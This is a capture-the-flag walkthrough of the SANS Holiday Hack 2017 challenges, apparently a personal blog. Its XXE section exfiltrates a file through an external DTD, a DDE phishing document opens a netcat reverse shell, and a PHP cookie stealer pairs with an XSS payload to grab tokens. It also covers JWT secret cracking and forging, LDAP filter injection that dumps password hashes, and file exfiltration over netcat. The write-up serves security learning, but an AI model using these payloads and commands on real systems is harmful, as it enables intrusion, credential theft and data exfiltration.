    The phrase really bugged me on this one I was sure it had to be a clue of some kind, I threw it into a scrabble word finder to see if it was some angram… it isn’t. It is however important, I actually stumbled on this one by accident when my cursor was in the address bar of chrome and not the NPPD search bar and I typed in Bini Aru looking to see what heinous deeds he was accused.


    The phrase is a magic word that allows the user to transform. So given that we have two transforming munchkins causing havoc they likely would stick to similar attacks. Minty tells us about hair pulling, rock throwing and an atomic wedgie in her hint so let’s see what we can find with that. First however we need data. The Naughty and Nice List doesn’t have crimes just states where individuals fall on the good/bad spectrum, the NPPD website has a search function where we can look up infractions by title, date, name or status and those search results are downloadable in JSON format. There isn’t by default a download all data option but by simply searching for a name with a wildcard we are given everything with the handy download link. (alternatively we could just append &json=1 to the default search url and get the data but I found that after the fact)

    Right, so now we have a JSON dump of all infractions. I started to load up notepad++ to start coding some python to parse the data when I decided to google json to csv and let the web do the dirty work for me. Infractions.csv in hand I loaded it up and started playing with a pivot table. Sorting first by infractions_name and a count of infractions_name will let us know how many infractions each user has this we can use to determine the threshold of naughty and nice.

    Let’s see here..
    Adding in a lookup tied to the Naughty and Nice List.csv we are able to determine quite easily that the infraction threshold is 3, anymore than that and you end up on the Naughty list. So adding a table filter for any count greater than 4 and adding in the infraction title will give us a list of everyone on the naughty list and what they did to earn their spot.
    tisk tisk tisk
    At this point I went down the list and hid any Elf that did not have “Throwing rocks (at people)” or “Aggravated pulling of hair”. This left me with 14 suspects unlikely they are all moles so I further dug into the list to see if any of these had BOTH rock throwing and hair pulling. This left me with 4 moles: Sheri Lewis, Nina Fitzgerald, Kirsty Evans and Beverly . Throw in Bini and Boq and we have our 6.

    We can now fully answer Question 5. 4 infractions are required to make it onto the naughty list, 6 identified moles are: Sheri Lewis, Nina Fitzgerald, Kirsty Evans, Beverly Khalil, Boq Questrian and Bini Aru. Finally Sam the snowman and I confronted Bumble the abominable snow monster who is the one that has been throwing the snowballs, however he has been hypnotized and is not the real villain in this situation merely a puppet.

    Special shoutout to Dr. Who and Cindy Lou Who for making the naughty list, we see where trying to ruin the last few years’ christmas gets you.

  • Elf as a service
    To answer Question 6 we are tasked to target the internal Elf as a service machine and retrieve instructions on how to download the next page of the great book. First thing first login to the ssh account we have for alabaster_snowball and lets see what services this box is running. Per previous scans we know the IP of the machine is

    alabaster_snowball@hhc17-apache-struts1$ nmap -sV
    Starting Nmap 7.40 ( ) at 2018-01-01 22:51 UTC
    Nmap scan report for (
    Host is up (0.00080s latency).
    Not shown: 998 filtered ports
    80/tcp   open  http               Microsoft IIS httpd 10.0
    3389/tcp open  ssl/ms-wbt-server?
    Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
    Service detection performed. Please report any incorrect results at .
    Nmap done: 1 IP address (1 host up) scanned in 81.51 seconds

    A web server is running so lets setup an SSH tunnel to forward to port 80 and see what we see. First I am going to add to my /etc/hosts file as with last machine just for simplicity sake.

    root@kali:~# ssh -L 80:

    Then load up firefox and we get this nice little site.

    Elf as a service
    Browsing around a bit we find that the site is for requesting new elves all of which can be done via an XML upload on the order page, cool. Now how do we manipulate this to get data we need from the site? Who would have guessed but the SANS Pentest blog posted another coincidental entry about XXE vulnerabilities in IIS/.NET. Using the information in this page we can see that if we create a .DTD file we can inject code which if it works should have the XML parser reach out to and download a second .DTD which will bypass XML filter and allow us to dump the contents of a file to a URI. Fun!

    So we begin by creating a file that we will upload via the xml upload on the EaaS site.

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE demo [
    	<!ELEMENT demo ANY >
    	<!ENTITY % extentity SYSTEM "">

    What this will do is load an ENTITY that will reach out to our server, load a payload DTD and then call each of the elements we define which should dump the contents of a file we need back out to a listener we have running. Well, we know what file we need based on the questions, the file is located at C:\greatbook.txt so lets build the payload dtd.

    <?xml version="1.0" encoding="utf-8"?>
    <!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
    <!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM ';'>">

    Here we load the contents of greatbook.txt into %stolendata and then pass that info out to a NC listener on our server in the form of a URI, all that we need to do is setup the listener on port 4445 and then upload the file.

    ubuntu@ip-172-31-44-57:~$ nc -lvt 4445
    Listening on [] (family 0, port 4445)
    Connection from [] port 4445 [tcp/*] accepted (family 2, sport 49921)
    GET /? HTTP/1.1
    Connection: Keep-Alive

    Boom, this tells us where page6 is located on the server so lets grab it and sha1sum it and turn it in.

    root@kali:~# wget
    --2018-01-01 18:11:43--
    Resolving (
    Connecting to (||:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 1387677 (1.3M) [application/pdf]
    Saving to: ‘greatbook6.pdf’
    greatbook6.pdf                    100%[==========================================================>]   1.32M  1.92MB/s    in 0.7s    
    2018-01-01 18:11:44 (1.92 MB/s) - ‘greatbook6.pdf’ saved [1387677/1387677]
    root@kali:~# sha1sum  greatbook6.pdf 
    8943e0524e1bf0ea8c7968e85b2444323cb237af  greatbook6.pdf

    Turn it in and we are one page closer to finishing the book and we are able to answer Question 6. The title of Page 6 is The Dreaded Inter-Dimensional Tornadoes

  • Anyone want to go phishing?
    For question 7 we head back to the mail server. Our task is to use a phishing attack to gain access to page 7 of the Great Book. We already know how to login to the mail server. Load it up and let us see what we can find. Browsing through alabaster’s emails we can see that he reached out to Jessica Claus asking for her gingerbread cookie recipe but was given an auto-reply that she is out of office and will not be able to answer. At this point he desperately reaches out to anyone for a copy. Tarpin tells him that he thinks he has it and will send it in a .docx format. Alabaster’s response is that he will open any .docx click prompts or popups just to get those sweet sweet gingerbread cookies.

    With that information we have an attack vector a phishing document to alabaster snowball, but what to do with it. Further reading shows that he has netcat installed on his machine and that he was warned about DDE exploit attacks but thinks they aren’t an issue. Now we have the target, an attack vector and a goal which should give us access to his machine.

    Now we need to send him the email but it is insane to think that Alabaster will open a random email from “Alabaster” so we need access to another to another elf’s mailbox, we know Tarpin said he would send him to recipe so we should be able to simply update our cookies ‘name’ with Tarpins email and get access. I modified my cookie with the following.


    It works and we are now Tarpin. Reading the link and POC provided by Minty it seems relatively easy to use DDE to make the machine do whatever we need it to do. In this case we are wanting a reverse shell to connect out to us.
    My DDE payload:
    DDEAUTO c:\\windows\\system32\\cmd.exe “/k nc 4422 -e cmd.exe”
    Simple but effective. I saved this as gingerbread.docx then setup the email using the specific keywords mentioned in the emails we saw.

    here phishy phishy phish
    With the listener running on the server we just have to wait few seconds and we are graced with a connection.

    listening on [any] 4422 ...
    connect to [] from hhc17-emi.c.holidayhack2017.internal [] 51577
    Microsoft Windows [Version 10.0.14393]
    (c) 2016 Microsoft Corporation. All rights reserved.

    From the question we know that the file we need is located at C:/GreatBookPage7.pdf so drop down to the C:/ and with netcat installed on the machine we should be able to use it to exfil the file to our server. I opened a second listener and routed the file out.

     Volume in drive C has no label.
     Volume Serial Number is 9454-C240
     Directory of C:\
    12/04/2017  08:42 PM         1,053,508 GreatBookPage7.pdf
    11/14/2017  07:57 PM         inetpub 
    09/12/2016 11:35 AM          Logs 
    12/05/2017 05:00 PM          Microsoft 
    07/16/2016 01:23 PM          PerfLogs 
    11/15/2017 02:35 PM          Program Files 
    11/14/2017 08:24 PM          Program Files (x86) 
    11/15/2017 03:03 PM          python 
    11/14/2017 08:39 PM          Users 
    11/30/2017 06:23 PM          Windows 
    1 File(s) 1,053,508 bytes 
    9 Dir(s) 39,204,319,232 bytes free 
    C:\>nc -v -w 2 5432 < GreatBookPage7.pdf 
    ubuntu@ip-172-31-44-57:~$ nc -lvp 5432 > GreatBookPage7.pdf 
    Listening on [] (family 0, port 5432)
    Connection from [] port 5432 [tcp/postgresql] accepted (family 2, sport 51595) 
    ubuntu@ip-172-31-44-57:~$ sha1sum GreatBookPage7.pdf 
    c1df4dbc96a58b48a9f235a1ca89352f865af8b8 GreatBookPage7.pdf

    We now have page 7 of the great book and have the information to answer Question 7, which is about the different Witches of Oz who while never taking sides in the elf/munchkin conflict. Additionally the witches all stayed in Oz and have not been spotted in the North Pole.

  • North Pole Elf Database
    For this machine we are tasked with grabbing a letter from the elf database. First we will scan the machine to see what is available to us.

    alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.ufqtHPLZU6ACyE5LYA05ADdH$ nmap -sV
    Starting Nmap 7.40 ( ) at 2018-01-02 23:29 UTC
    Nmap scan report for (
    Host is up (0.00024s latency).
    Not shown: 996 closed ports
    22/tcp   open     ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
    80/tcp   open     http    nginx 1.10.3
    389/tcp  filtered ldap
    8080/tcp open     http    Werkzeug httpd 0.12.2 (Python 2.7.13)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    Service detection performed. Please report any incorrect results at .
    Nmap done: 1 IP address (1 host up) scanned in 7.56 seconds

    We see a few interesting things here mainly the web server and LDAP. Let’s start off by just looking to see what we see when we browse the site.

    Trying Alabaster Snowball’s credentials doesn’t work so lets see what else we can find. I checked the source code and attached scripts for anything interesting. At the bottom of the page we see the below code which looks to be an auth token of some kind.

        if (!document.cookie) {
            window.location.href = '/';
        } else {
             token = localStorage.getItem("np-auth");
             if (token) {
                $.post( "/login", { auth_token: token }).done(function( result ) {
                    if (result.bool) {
                        window.location.href =;

    We also have a custom.js that looks similar to what we saw on the mail server but it has bit in there for the customer service request which has a prompt in there about ‘Alert, Hacker!’ this might be the path to accessing the machine.

    // --------------------------Customer Service Request -----------------------------/
        var help_uid = $('#help_uid').val();
        var help_email = $('#help_email').val();
        var help_message = $('#help_message').val();
        if (help_uid.match(/^\w+\.\w+$/g) != null){
            if (help_email.match(/^[\w\_\-\.]+\@[\w\_\-\.]+\.\w\w\w?\w?$/g) !== null){
                if (help_message.match(/^.+$/g) != null) {
                    if (help_message.match(/[sS][cC][rR][iI][pP][tT]/g) == null) {
                        $.post( "/service", { uid: help_uid, email: help_email, message: help_message }).done(function( result ) {
                            Materialize.toast('Submitting... Please Wait.', 4000);
                            if (result.bool) {
                                Materialize.toast(result.message, 4000);
                                    window.location.href =;
                                }, 1000);
                            } else {
                                Materialize.toast(result.message, 4000);
                        }).fail(function(error) {
                            Materialize.toast('Error: '+error.status + " " + error.statusText, 4000);
                    } else {
                        Materialize.toast('Alert, Hacker!', 4000);
                } else {
                    Materialize.toast('You must enter a message!', 4000);
            } else {
                Materialize.toast('Invalid email format!', 4000);
        } else {
            Materialize.toast('Invalid User Id Format! ex- first.last', 4000);

    We see javascript regex to make sure data entered is good. Checking things like name.surname@something for the email. The Alert, Hacker prompt is triggering off a match of the word “script” in any form upper/lower. This gives us the idea that the page might be vulnerable to XSS and they are trying to block it by preventing the script tag from being entered. We can verify that by looking at Wunorse Openslae’s hints where he talks about a javascript popup and being hacked. Good for us we can exploit XSS vulnerabilities without use of the script tag.

    Before diving into the XSS attack I started digging as we had seen in the previous challenge if there was key information in the robots.txt file so I checked and found an entry for /dev/
    Browsing to /dev/ we find a directory listing with one file: LDIF_template.txt not super useful for the XSS but I’m sure it will be useful down the line.

    dn: dc=com
    dc: com
    objectClass: dcObject
    dn: dc=northpolechristmastown,dc=com
    dc: northpolechristmastown
    objectClass: dcObject
    objectClass: organization
    dn: ou=human,dc=northpolechristmastown,dc=com
    objectClass: organizationalUnit
    ou: human
    dn: ou=elf,dc=northpolechristmastown,dc=com
    objectClass: organizationalUnit
    ou: elf
    dn: ou=reindeer,dc=northpolechristmastown,dc=com
    objectClass: organizationalUnit
    ou: reindeer
    dn: cn= ,ou= ,dc=northpolechristmastown,dc=com
    objectClass: addressbookPerson
    profilePath: /path/to/users/profile/image

    At this point I loaded up my server started apache2 and php7 and wrote out a php cookie stealer which we can direct traffic to and steal cookies/local variables etc to try and steal someones session or maybe even auth our own depending on how it plays out.

    	$cookies = $_GET["c"];
    	$file = fopen('log.text','a');
    	fwrite($file, $cookies . "\n\n");

    Script is really simple, when you hit the page grab the cookie details we pass and write them to a log file, then redirect back to the edb page. Now we need to direct a user to this page to raid the cookie jar.

    The XSS code I used was a body onload tag to grab the np-auth we saw loaded as token and the users cookie as we might need it.

    <BODY ONLOAD=document.location=''+localStorage.getItem("np-auth")+'||'+document.cookie;>

    Submitting a ticket with the code as the message sends us to a ticket status page then redirects back to the homepage. Pulling up the log file on the AWS box we can see that it grabs a null for the np-auth when we get redirected but 30-45 seconds later when the elf checks out ticket we get both his session and the np-auth token

    ubuntu@ip-172-31-44-57:~$ sudo cat /var/www/html/log.text 

    I tried to hijack the random hard working elf’s session by updating my cookie to use his session but every time the page was reloaded it was reset to something new. So it is going to have something to do with the token.
    From hint 3 from Wunorse Openslae we know that this is a JWT token and that Alabaster has it locked down by a “long complex and key”. Maybe the key that was embedded in his original letters to santa app?

    root@kali:~# python
    Python 2.7.14+ (default, Dec  5 2017, 15:17:02) 
    [GCC 7.2.0] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import jwt
    >>> encoded = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I'
    >>> jwt.decode(encoded, 'stream_unhappy_buy_loss')
    jwt.exceptions.DecodeError: Signature verification failed

    Fortunately for app security it wasn’t reused, maybe Alabaster learned his lesson. A quick google search shows that we can use JohnTheRipper to brute force the key, however the token needs to be tweaked for JTR to recognize and process it all of which is deatiled in this post. To make it even simpler this python script is posted to make the appropriate changes. I ran the script and saved the output to token.jwt, launched JtR and went off to eat lunch expecting it to take ages.

    root@kali:~/JohnTheRipper/run# ./john ~/token.jwt 
    Using default input encoding: UTF-8
    Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 AVX 4x])
    Warning: OpenMP is disabled; a non-OpenMP build may be faster
    Press 'q' or Ctrl-C to abort, almost any other key for status
    3lv3s            (?)
    1g 0:00:06:02 DONE 3/3 (2018-01-03 15:41) 0.002762g/s 882657p/s 882657c/s 882657C/s 3k3ys..3nb9j
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    It didn’t and I retract my statement about web app security. 3lv3s is the secret key used to encode the token. Welp that makes it super easy to decode the token and see what magic it hides.

    >>> jwt.decode(encoded, '3lv3s')
    {u'dept': u'Engineering', u'ou': u'elf', u'expires': u'2017-08-16 12:00:47.248093+00:00', u'uid': u'alabaster.snowball'}

    The token is JSON with alabaster.snowball’s LDAP profile information the problem is that it is expired, so lets update the expiration date and re-encode and we will try to use that to access the site.

    >>> print jwt.encode({'dept': 'Engineering','ou': 'elf','expires': '2018-08-16 12:00:47.248093+00:00','uid': 'alabaster.snowball'},'3lv3s')

    I changed the date to 2018 and then plugged it into the FireFox console with localStorage.set(). Doing this allows us to refresh the page and we are then redirected to a Personnel Search panel

    Playing with the interface a bit we are able to search by name, elf or reindeer and output things like name, email, dept etc. In the menu we see a Santa Panel but we do not have access to that, I’m assuming that is only for Santa so let’s try to get access to his account. We could re-encode with santa’s data and access it via his token but we need to know his uid. I loaded burp to start playing with the transmission.


    I fired off some random data to see what format its submitting. First thing to note is the var isElf, with that we won’t be able to directly bypass the ou restrictions for elf/reindeer. We are able to manipulate the attributes that its returning so referring back to the template I added in userPass to see if we get passwords and sure enough we do. Now we just need to bypass the limitation on ou. The first attempt I made to inject code actually worked so we know that there isn’t any validation going on.


    This attempts to close out the name field, add in a manual ou=human check with an or line that should throw back anything if either field is valid, which it does and we get everything

    santa.Claus is the uid we needed and with the password hashes we can try to crack his password as well. Typically when I run into hashes the first thing I do is do a search on and see if these hashes are known and have been cracked before.
    As it turns out most everyone is pretty secure, kinda. The Reindeer all use the same password which at the moment isn’t exposed but is bad form all around same with Pepper and Shimmy but that’s not super important here. The fact that Santa’s password is known gives us full access. Logging out allows us to login normally with Santa’s information. Trying to access the Santa panel shows that we did indeed need to dump his password and crack it. Logging in to this prompt gives us the letter we have been searching for.

    These guys give strange gifts
    We now have everything we need to answer question 8, the letter is from the Wizard of Oz to Santa Claus who both seem to have very strange gift giving tendencies.

  • Flags
    GreatBook SHA1 page hashes

    Page.1 6dda7650725302f59ea42047206bd4ee5f928d19
    Page.2 aa814d1c25455480942cb4106e6cde84be86fb30
    Page.3 57737da397cbfda84e88b573cd96d45fcf34a5da
    Page.4 f192a884f68af24ae55d9d9ad4adf8d3a3995258
    Page.5 05c0cacc8cfb96bb5531540e9b2b839a0604225f
    Page.6 8943e0524e1bf0ea8c7968e85b2444323cb237af
    Page.7 c1df4dbc96a58b48a9f235a1ca89352f865af8b8

    Answers to the questions:
    1) About This Book
    2) Flying Animals & stream_unhappy_buy_loss
    3) The share name for the filer server is FileStor
    4) This page of the great book tells us about the skirmishes of the elves and the munchkins as they escalated into small skirmishes which lead to more conflict. Ultimately lead to a group of munchkin commandos forming the lollipop guild a group which to this day still leads dedicated cyber attacks against the North Pole infrastructure in attempts to disrupt christmas. There are even rumors that a few of the guild have been able to infiltrate the North Pole but this has yet to be proven.
    5) 4 infractions cause a user to be added to the naughty list. The 6 moles are Boq Questrian, Bini Aru, Beverly Khalil, Kirsty Evans, Nina Fitzgerald, Sheri Lewis. Bumble is behind the snowballs, We find him atop the mountain but Sam the snowman notices that he appears to be hypnotized and a mere puppet in this larger scheme.
    6) The Dreaded Inter-Dimensional Tornadoes
    7) Page 7 is about the different Witches of Oz who while never taking sides in the elf/munchkin conflict. Additionally the witches all stayed in Oz and have not been spotted in the North Pole.
    8) The letter is from the Wizard of Oz to Santa Claus who both seem to have very strange gift giving tendencies.
    9) Glenda the good witch, she wanted to start a war between the elf and munchkin allowing her to sell her magic spells to both sides.